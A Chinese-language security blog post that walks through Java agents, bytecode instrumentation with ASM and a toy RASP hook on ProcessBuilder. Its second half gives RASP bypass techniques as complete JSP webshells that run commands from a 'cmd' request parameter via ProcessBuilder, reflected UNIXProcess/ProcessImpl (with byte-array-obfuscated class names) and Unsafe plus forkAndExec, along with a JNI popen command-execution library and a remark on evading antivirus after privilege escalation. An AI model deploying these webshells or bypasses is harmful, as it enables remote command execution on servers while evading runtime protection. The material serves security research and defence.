RASP 尝鲜

date
Jun 17, 2022
slug
RASP-try-use
status
Published
tags
Java安全
安全研究
summary
尝试一下RASP是怎么使用的
type
Post

Java Agent

首先需要了解instrument 这个东西,这东西允许JVM在加载某个 class 文件之前对其字节码进行修改,同时也支持对已加载的 class (类字节码)进行重新加载( Retransform )。
java.lang.instrument 包里面,存在这几个类,这几个类在Agent方式下都起这重要作用
notion image

premain使用

环境搭建
先构建一个Agent类,注意这里的inst 是一个 java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入。java.lang.instrument.Instrumentatio是 instrument  包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。
public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=======this is agent premain function=======");
    }
将其使用maven打包为jar文件,pom.xml文件中build的内容为
<plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.0.2</version>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                        </manifest>
                        <manifestEntries>
                            <Premain-Class>
                                cn.org.javaweb.test.Agent
                            </Premain-Class>
                            <can-redefine-classes>
                                true
                            </can-redefine-classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>
</plugins>
打包之后可以看到这个jar里面的MATE-INF 目录下的MANIFEST.MF 会有这样的声明,将它命名为agent.jar
notion image
其中Premain-Class 是比较重要的一个属性,说明起到Agent作用的是com.test.Agent 这个类
再创建一个测试类
package com.test;

public class TestAgent {
    public static void main(String[] args) {
        System.out.println("this is a test program");
    }
}
pom文件里面的build内容如下:
<plugins>
            <plugin>
                <artifactId>maven-shade-plugin</artifactId>
                <groupId>org.apache.maven.plugins</groupId>
                <version>1.3.1</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <transformers>
                                <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                    <mainClass>com.test.TestAgent</mainClass>
                                </transformer>
                            </transformers>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
然后mvn clean install 打包将其命名为test.jar ,这个test.jar 是可以启动的
notion image
agent.jar 又有何作用?怎么去使用agent.jar
我们需要通过javaagent: 来引入agent.jar
java -javaagent:agent.jar -jar test.jar
可以观察到在执行test.jar里面的内容之前agent.jar也执行了
notion image
那么这整一个流程是怎样的?
流程关系
通过启动命令添加-javaagent:xxx.jar的时候,JVM会去xxx.jar中找其中Premain-Class ,也就是在MANIFEST.MF中声明的com.test.Agent这个类中的public static void premain(String agentOps, Instrumentation instrumentation)或者public static void premain(String agentOps)方法
iiusky师傅的这个图很好解释了这个流程
notion image
如果premain 函数的需要agentOps参数的话,可以参考下图,直接使用= 传入相关字符串
notion image
 
instrumentation参数
上面的测试流程只测试了premain方法的流程,但是instrumentation参数,并没有使用起来,前面知道java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入,这个是个接口实例,而且存在多个需要实现的接口
notion image
比较多的是关于Transformer的操作方法,关键是addTransformer 方法 ,iiusky师傅也总结得比较详细了,这里放个图
notion image
这个addTransformer 方法里面的ClassFileTransformer 是需要我们自己去实现的
notion image
这些参数的意义如下:
ClassLoader loader                  ----> 这个没什么解释的,就是classloader
String className                    ----> 包名(jvm中包名是/而不是.)
Class<?> classBeingRedefined        ----> 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
ProtectionDomain protectionDomain   ----> 保护域
byte[] classfileBuffer              ----> 二进制字节码
具体使用起来是这样的:
新建一个初始化实现ClassFileTransformer 接口的类,重写里面的transform方法,注意这里识别的类名是JVM类名的书写方式路径方式 ,比如:java/lang/String,而不是我们常用的类名方式:java.lang.String ,所以一般需要转换一下才是我们可以识别的类,如果要修改这个类里面的内容的话,一般还会对classfileBuffer 进行操作,一般使用ASM或者Javaassist进行操作
package com.test;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TestTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//        return new byte[0];
        // 将常用的类名转换为我们认识的格式
        className = className.replace("/", ".");

        //打印所有经过处理的类
        System.out.println(className);

        //遇到com.test.TestAgent 打印相关内容,如果想修改类里面的相关内容,还需要classfileBuffer操作
        if(className.equals("com.test.TestAgent")){
            System.out.println("hook TestAgent Now!!!");
        }

        return classfileBuffer;

    }
}
然后在Agent类里面注册我们的transformer
package com.test;

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=======this is agent premain function=======");
        inst.addTransformer(new TestTransformer());
    }
}
重新打包,运行,效果如下,使用了transform以后,可以对jvm中的未加载的类进行重写。已经加载过的类可以使用retransform去进行重写
notion image

RASP尝试

根据上面的知识点进一步操作,使用ASM对具体内容进行操作,这个东西的关键是存在一个ClassVisitor接口,定义了一系列的visit方法,一般的操作就是重写这些方法来符合我们的需求
notion image
借鉴了iiusky师傅的项目进行了修改,主要改的是这两个文件,触发的功能是在main函数前面新增执行语句cn/org/javaweb/test/TestInsert类下面的hello方法
/*
 * Copyright sky 2018-11-29 Email:[email protected].
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.test;


import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

/**
 * @author sky
 */
public class TestClassAdapter extends ClassVisitor implements Opcodes {


	public TestClassAdapter(ClassVisitor classVisitor) {
		super(Opcodes.ASM5, classVisitor);
	}

	/**
	 * @param access
	 * @param methodName  方法名
	 * @param argTypeDesc 方法描述符
	 * @param signature
	 * @param exceptions
	 * @return
	 */
	@Override
	public MethodVisitor visitMethod(int access, String methodName, String argTypeDesc,
	                                 String signature, String[] exceptions) {


		MethodVisitor mv = super.visitMethod(access, methodName, argTypeDesc, signature, exceptions);
		//判断方法名,为了保证唯一性,真正使用时还需要判断方法描述符是否一致
		if ("main".equals(methodName)) {
			System.out.println(methodName + "方法的描述符是:" + argTypeDesc);
//			System.out.println("methodName is :" + methodName);
//
			return new MethodVisitor(api, mv) {

				@Override
				public void visitCode() {


					mv.visitFieldInsn(GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
					mv.visitIntInsn(BIPUSH, 8);
					mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/test/TestInsert", "hello", "(I)I", false);
					mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintStream", "println", "(I)V", false);

					super.visitCode();
				}

			};
		}

		return mv;

	}
}
TestTransofrmer需要实例化上面的ASM操作:
/*
 * Copyright sky 2018-11-20 Email:[email protected].
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.test;


import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;

import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;


/**
 * @author sky
 */
public class TestTransformer implements ClassFileTransformer {


	/**
	 * 注册一个自定义的transform
	 *
	 * @param loader              class loader
	 * @param className           类名
	 * @param classBeingRedefined
	 * @param protectionDomain
	 * @param classfileBuffer
	 * @return
	 * @throws IllegalClassFormatException
	 */
	@Override
	public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
	                        ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

		// asm中的包名格式为 cn/org/javaweb 需要将 / 转为 .
		className = className.replace("/", ".");
//		System.out.println("当前加载的类为:" + className);

		//如果类名中存在javaweb 则使用ClassReader读取字节码,然后在创建一个ClassWriter用于拼接字节码,
		// 之后在进入我们自定义的ClassVisitor

		if (className.contains("com.test")) {

			ClassReader  classReader  = new ClassReader(classfileBuffer);
			ClassWriter  classWriter  = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);
		//初始化修改内容的类
			ClassVisitor classVisitor = new TestClassAdapter(classWriter);

			classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);


		}
		return classfileBuffer;
	}
}
最后能够正常修改并执行相关内容
notion image
再进一步操作可以参考:
自己搭建一下玩一下,了解一下这个流程,配置上的一些东西记录一下,agent的那个模块,可以通过新建一个maven
notion image
建立好agent的jar包之后,记录生成的路径
然后Web测试模块新建一个Tomcat 服务,然后需要在VM options处加载构建好的jar,后面就可以启动了
-Dfile.encoding=UTF-8
-noverify
-Xbootclasspath/p:/Users/4me/Desktop/vuln_test/java_rasp_example/agent/agent.jar
-javaagent:/Users/4me/Desktop/vuln_test/java_rasp_example/agent/agent.jar
notion image
在这个项目里主要是观察ProcessBuilderHook 这个类,这个类里面类中新建一个名字为start的静态方法,可以看到功能是打印出我们执行的命令,然后打印出利用的堆栈
notion image
那是怎么调用这一块的呢,在cn.org.javaweb.agent.TestClassVisitor#visitMethod 中,先是判断了传入进来的方法名是否为start以及方法描述符是否为()Ljava/lang/Process; 如果是的话就新建一个AdviceAdapter方法,并且复写visitCode方法,对其字节码进行修改,
notion image
一句句代码来看:
拿到栈顶上的this
mv.visitVarInsn(ALOAD, 0);
拿到this里面的command
mv.visitFieldInsn(GETFIELD, "java/lang/ProcessBuilder", "command", "Ljava/util/List;");
然后调用上面新建的ProcessBuilderHook类中的start方法,将上面拿到的this.command压入这个方法里面,就进入到我们写的函数逻辑里面了
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/agent/ProcessBuilderHook", "start", "(Ljava/util/List;)V", false);
可以观察一下当我们输入相关命令的时候,终端上会显示hook的内容
notion image
这个东西最大感受还是得熟悉ASM的操作,不过Javaassist应该也能起到一样的效果
RASP的缺点
RASP技术中对底层拦截点不熟悉,可能导致漏掉重要hook点,导致绕过。
绕过RASP一些思路
从RASP缺点触发,首先是针对命令执行的函数进行更下层的查看
ProcessBuilder
传进去的参数都是数组类型的String
		//request.getParameterValues  return  String[]
		InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;
    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
UNIXProcess/ProcessImpl
UNIXProcessProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97
只要调用了这个类的构造函数就可以触发命令执行调用
关键代码,按需改造扣代码进行改造就行:
// 反射UNIXProcess/ProcessImpl执行系统命令

// windows下反射ProcessImpl 调用start方法执行系统命令,start方法实质是创建了一个ProcessImpl的实例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
    String[] cmd = request.getParameterValues("cmd");
    if (cmd != null) {
        Class<?> clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        Process p = (Process) method.invoke(null, cmd, null, ".", null, true);
        InputStream in = p.getInputStream();
        byte[] b = new byte[1024];
        int a = -1;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }
        out.write("<p>" + baos.toString() + "</p>");
    }
%>

// windows下反射ProcessImpl新建实例执行系统命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
    String[] cmd = request.getParameterValues("cmd");
    if (cmd != null) {
        Class<?> clazz = Class.forName("java.lang.ProcessImpl");
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        Object object = constructor.newInstance(cmd, null, ".", new long[]{0}, true);
    }
%>

// 类unix下反射UNIXProcess/ProcessImpl构造实例执行系统命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
    byte[] toCString(String s) {
        if (s == null) {
            return null;
        }

        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }

    InputStream start(String[] strs) throws Exception {
        // java.lang.UNIXProcess
        String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});

        // java.lang.ProcessImpl
        String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});

        Class clazz = null;

        // 反射创建UNIXProcess或者ProcessImpl
        try {
            clazz = Class.forName(unixClass);
        } catch (ClassNotFoundException e) {
            clazz = Class.forName(processClass);
        }

        // 获取UNIXProcess或者ProcessImpl的构造方法
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        assert strs != null && strs.length > 0;

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];

        int size = args.length; // For added NUL bytes
        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc    = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};

        FileInputStream  f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;

        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try {
            if (f0 != null) f0.close();
        } finally {
            try {
                if (f1 != null) f1.close();
            } finally {
                if (f2 != null) f2.close();
            }
        }

        // 创建UNIXProcess或者ProcessImpl实例
        Object object = constructor.newInstance(
                toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        );

        // 获取命令执行的InputStream
        Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
        inMethod.setAccessible(true);

        return (InputStream) inMethod.invoke(object);
    }

    String inputStreamToString(InputStream in, String charset) throws IOException {
        try {
            if (charset == null) {
                charset = "UTF-8";
            }

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int                   a   = 0;
            byte[]                b   = new byte[1024];

            while ((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }

            return new String(out.toByteArray());
        } catch (IOException e) {
            throw e;
        } finally {
            if (in != null)
                in.close();
        }
    }
%>
<%
    String[] str = request.getParameterValues("cmd");

    if (str != null) {
        InputStream in     = start(str);
        String      result = inputStreamToString(in, "UTF-8");
        out.println("<pre>");
        out.println(result);
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>
 
forkAndExec命令执行-Unsafe+反射+Native方法调用
这个方法是上一个方法的绕过,主要是应对UNIXProcess 或者是 ProcessImpl 的构造方法被Hook的情况,主要流程如下:
1.使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象 2.反射UNIXProcess/ProcessImpl类的forkAndExec方法 3.构造forkAndExec需要的参数并调用 4.反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象 5.反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)
关键代码:
// 类Unix下
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }


%>
<%
    String[] strs = request.getParameterValues("cmd");

    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        out.println("<pre>");
        out.println(baos.toString());
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>
 
JNI绕过
这种情况更加底层了,JNI的全称叫做(Java Native Interface),其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI,也就是对应一些代码里面的native 关键字声明的函数
这个东西怎么玩?
  • 先定义一个native修饰的方法
    • package test;
      
      public class CalcExec {
          public native int sum(int num1 , int num2);
      }
  • 编译并生成相关头文件(注意处理的时候所在的路径),这个还需要注意JDK版本,如果JDK版本大于10就不是这样操作了
    • javac -cp . test/CalcExec.java
      javah -d test/ -cp . test.CalcExec
      此时会生成一个test_CalcExec.h ,这个名字test 代表包名,CalcExec 代表了这个类名
      /* DO NOT EDIT THIS FILE - it is machine generated */
      #include <jni.h>
      /* Header for class test_CalcExec */
      
      #ifndef _Included_test_CalcExec
      #define _Included_test_CalcExec
      #ifdef __cplusplus
      extern "C" {
      #endif
      /*
       * Class:     test_CalcExec
       * Method:    sum
       * Signature: (II)I
       */
      JNIEXPORT jint JNICALL Java_test_CalcExec_sum
        (JNIEnv *, jobject, jint, jint);
      
      #ifdef __cplusplus
      }
      #endif
      #endif
      当然这里面的内容也是有规则的
      Java_是固定的前缀,而test_CalcExec_sum也就代表着Java的完整包名称:test.CalcExec_exec自然是表示的方法名称了。(JNIEnv *, jobject, jint, jint)表示分别是JNI环境变量对象java调用的类对象参数入参类型
      还有一个注意点:
      Java和JNI定义的类型是需要转换的,不能直接使用Java里的类型,也不能直接将JNI、C/C++的类型直接返回给Java
  • 根据对应头文件新建cpp,test_CalcExec.cpp ,然后在里面include创建出来的头部
    • #include <iostream>
      #include <stdlib.h>
      #include <cstring>
      #include <string>
      #include <iostream>
      #include <stdlib.h>
      #include <cstring>
      #include <string>
      #include "test_CalcExec.h"
      using namespace std;
      JNIEXPORT jint
      JNICALL Java_test_CalcExec_sum
              (JNIEnv *, jobject, jint num1, jint num2) {
              return num1+num2;
      }
  • 编译成动态链接库,分不同环境进行编译(记录一下 🐶)
    • MacOSX编译
      g++ -fPIC -I"/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/include" -I"/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/include/darwin" -shared -o libsum.jnilib test_CalcExec.cpp
      linux编译
      g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
      ⚠️ 当然如果是C语言写的文件,那么我们需要修改一下编译命令为gcc
      windows编译
      Windows平台有时候可能会遇到32位还是64位的问题
      gcc -I "D:\JAVA_JDK\include"  -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c
  • 加载lib进行测试(使用loadLibrary 或者load 加载)
    • package test;
      
      public class JNITest {
          public static void main(String[] args) {
              //这个函数好像不能存在相关的路径分隔符 不然会no xxx in java.library.path的报错
      //        System.loadLibrary("libcmd");
              System.load("/Users/4me/Downloads/springcoffee/source/src/test/java/test/libsum.so");
              CalcExec calcExec = new CalcExec();
              int sum = calcExec.sum(1, 2);
              System.out.println(sum);
      //        System.out.println(System.getProperty("java.library.path"));
      
          }
      }
      notion image
测试一下加载命令执行效果,整一个native函数
package test;

public class CommandExec {
        public static native String exec(String cmd);
}
编译生成头部文件,然后编写相关的cpp文件

#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "test_CommandExec.h"
using namespace std;
JNIEXPORT jstring
JNICALL Java_test_CommandExec_exec
        (JNIEnv *env, jclass jclass, jstring str) {
    if (str != NULL) {
        jboolean jsCopy;
        // 将jstring参数转成char指针
        const char *cmd = env->GetStringUTFChars(str, &jsCopy);
        // 使用popen函数执行系统命令
        FILE *fd  = popen(cmd, "r");
        if (fd != NULL) {
            // 返回结果字符串
            string result;
            // 定义字符串数组
            char buf[128];
            // 读取popen函数的执行结果
            while (fgets(buf, sizeof(buf), fd) != NULL) {
                // 拼接读取到的结果到result
                result +=buf;
            }
            // 关闭popen
            pclose(fd);
            // 返回命令执行结果给Java
            return env->NewStringUTF(result.c_str());
        }
    }
    return NULL;
}
测试也是正常的
notion image
 
 
当然RASP场景跟杀毒软件的检测也极为相似,也是通过hook某个点进行判断,有大哥也写过文章描述过:https://payloads.online/archivers/2022-08-11/1/
notion image
文章里面提及到的还是使用dll(或者是非cmd.exe系列的二进制文件)进行一个加载操作,然后执行相关系统命令,此时就不会进入到杀毒软件的黑名单里面,但需要注意的是一些tomato系列的提权软件,在提权成功之后会执行一次CreateProcessWithTokenCreateProcessAsUser ,容易导致杀毒检测,所以还是需要进一步去隐藏这一个执行流程。作者总结了流程图:
notion image
 
 
主要参考了这几篇文章:

© 4me 2021 - 2024